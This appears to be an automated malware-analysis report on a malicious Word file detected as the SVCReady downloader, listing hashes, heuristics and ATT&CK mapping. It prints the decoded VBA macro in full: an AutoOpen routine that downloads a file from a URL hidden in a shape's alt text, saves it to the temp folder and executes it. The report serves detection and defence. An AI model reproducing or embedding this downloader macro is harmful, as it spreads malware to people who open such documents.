Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 bd96cc2b200f1b26…

MALICIOUS

Office (OOXML)

111.7 KB Created: 2020-07-30 08:04:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 0b9b53b3fce627d329b1645ba025e06a SHA-1: 1ff9d2138292be3f6a1c19da396e0db95e9e1dda SHA-256: bd96cc2b200f1b2664339fa50cfa247ea94cee13dc2e02127066950568dc21f8
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains a VBA macro with an AutoOpen subroutine that executes a shell command. This script downloads content from an embedded URL (specifically, the document's alternative text is used as the URL) and saves it as 'main.theme' in the temporary directory. It then executes this downloaded file, likely a second-stage payload. The presence of the AutoOpen macro and the execution of external code strongly indicate a malicious downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\pack1\us.jpg
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1721 bytes
SHA-256: 4b49f241f6ef2a025c88a358b2c67b7fd873321bbdf1c6c12cc4749a1ad69b82
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "d66f7af9"
Sub AutoOpen()
Dim ec9f84cf As New cf2f796b
aaa = fc935e6d(ec585bbd)
f1daacbe = ec9f84cf.bb04d297(aaa, "")
c62450dc daf2dc9e, f1daacbe
d93ad2ef = fc935e6d(ActiveDocument.Shapes(1).Title)
Dim f240af4e As New WshShell
f240af4e.exec "" & d93ad2ef & " " & daf2dc9e
End Sub

Attribute VB_Name = "ee727641"
Sub c62450dc(bc0c7d72, c2af198f)
Dim dd93b0c2
dd93b0c2 = FreeFile
Open bc0c7d72 For Output As #dd93b0c2
Print #dd93b0c2, ac63f666(c2af198f)
Close #dd93b0c2
End Sub
Function daf2dc9e()
daf2dc9e = Environ("tmp") & "\main.theme"
End Function
Function fc935e6d(d68dcbd4)
'fc935e6d = StrReverse(d68dcbd4)
fc935e6d = d68dcbd4
End Function
Sub e01f2157()
End Sub
Function ac63f666(c2af198f)
ac63f666 = StrConv(c2af198f, 64)
End Function
Function ec585bbd()
ec585bbd = ActiveDocument.Shapes(1).AlternativeText
End Function

Attribute VB_Name = "cf2f796b"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function bb04d297(f6c0a23c, bfc09ac6)
Dim a5d7ef7f As Object
Set a5d7ef7f = New MSXML2.XMLHTTP60
Call a5d7ef7f.Open("GET", f6c0a23c, False)
a5d7ef7f.Send
bb04d297 = a5d7ef7f.responsebody
End Function
Function d2a60f63(becc5d38)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19456 bytes
SHA-256: 389ca5e09478ae27e008a6df5072c976d6b126bd3e0d4df10c6e22c0ed757abe

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